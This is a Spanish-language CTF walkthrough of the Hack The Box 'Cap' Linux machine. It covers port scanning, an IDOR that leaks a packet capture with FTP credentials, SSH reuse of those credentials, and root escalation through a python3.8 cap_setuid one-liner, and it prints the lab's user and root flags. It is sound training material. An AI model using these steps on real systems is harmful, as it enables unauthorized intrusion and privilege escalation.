Cap
3 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.10.245
- Fecha: 05 / 06 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -oN nmap/targeted 10.10.10.245 -p 21,22,80
Nmap scan report for 10.10.10.245
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
...
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 132.74 seconds
La máquina tiene abiertos los puertos 21 (FTP), 22 (SSH) y 80 (HTTP).
Enumeración web
La página web que se ve es la siguiente:
Si pinchamos en “Security Snapshot”, la máquina realizará una captura de tráfico de red y nos permitirá descargar un archivo .pcap
:
Si nos fijamos en la URL, la captura es la número 2. Pero si cambiamos este número al 0, obtendremos una captura de tráfico con más datos (Insecure Direct Object Reference IDOR):
Usando Wireshark para acceder por FTP
Ahora se puede descargar un archivo 0.pcap
. Usando Wireshark y filtrando por FTP, se pueden encontrar las siguientes credenciales de acceso: nathan:Buck3tH4TF0RM3!
.
Ahora es posible conectarse a una sesión FTP:
$ ftp nathan@10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r-------- 1 1001 1001 33 Jun 03 12:32 user.txt
226 Directory send OK.
ftp> get user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0,00163 seconds (19,8 kbytes/s)
Podemos conseguir user.txt
y leerla de manera local:
$ cat user.txt
75a722ca7210ed19207176d03c571c52
Escalada de privilegios
Además, las mismas credenciales son válidas para conectarse por SSH:
$ ssh nathan@10.10.10.245
nathan@10.10.10.245's password:
nathan@cap:~$
Después de ejecutar linpeas.sh
se ve que /usr/bin/python3.8
tiene la capability cap_setuid
activada. Podemos verificarlo manualmente:
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Entonces, con Python, se puede escalar privilegios fácilmente (más información en GTFOBins o en mi herramienta gtfobins-cli
):
$ gtfobins-cli --capabilities python
python ==> https://gtfobins.github.io/gtfobins/python/
Capabilities
If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.
cp $(which python) .
sudo setcap cap_setuid+ep python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# cat /root/root.txt
634be64976a543a6490b0656f928c293